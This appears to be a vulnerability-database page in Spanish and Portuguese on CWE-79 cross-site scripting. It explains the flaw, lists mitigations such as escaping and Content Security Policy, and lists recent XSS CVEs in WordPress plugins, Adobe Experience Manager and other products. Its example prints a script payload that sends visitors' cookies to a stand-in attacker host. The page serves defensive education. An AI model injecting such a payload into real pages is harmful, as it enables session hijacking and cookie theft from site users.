Fallos del tipo CWE-79

29.654 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-44244HIGHWordPress FooGallery Plugin <= 2.2.44 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-32185MEDIUMWordPress Colibri Page Builder plugin <= 1.0.329 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-2539MEDIUMElementor Addons by Livemesh <= 8.3.6 - Authenticated(Contributor+) Stored Cross-Site Scripting via widget _id attributeEPSS 0.4%CVE-2024-12842MEDIUMEmlog Pro user.php cross site scriptingEPSS 0.4%CVE-2024-52865MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-22682HIGHWordPress Camera slideshow Plugin <= 1.4.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-44144HIGHWordPress Dreamfox Media Payment gateway per Product for Woocommerce Plugin <= 3.2.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-53960MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-11438MEDIUMStreamWeasels Online Status Bar <= 2.1.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-25434MEDIUMA cross-site scripting (XSS) vulnerability in Pkp Ojs v3.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload iEPSS 0.4%CVE-2023-31144MEDIUMCraft CMS vulnerable to cross site scripting in RSS feed widgetEPSS 0.4%CVE-2024-52862MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-47656MEDIUMWordPress ANAC XML Bandi di Gara Plugin <= 7.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-11684MEDIUMKudos Donations – Easy donations and payments with Mollie <= 3.2.9 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-52992MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-20372MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, reEPSS 0.4%CVE-2025-1892MEDIUMshishuocms Directory Deletion Page add.json cross site scriptingEPSS 0.4%CVE-2024-36109HIGHCross-site Scripting with Markdown rendering in CoCalcEPSS 0.4%CVE-2024-52858MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-50891HIGHThe server-side backend for Adform Site Tracking before 2025-08-28 allows attackers to inject HTML or execute arbitrary code via cookie hijaEPSS 0.4%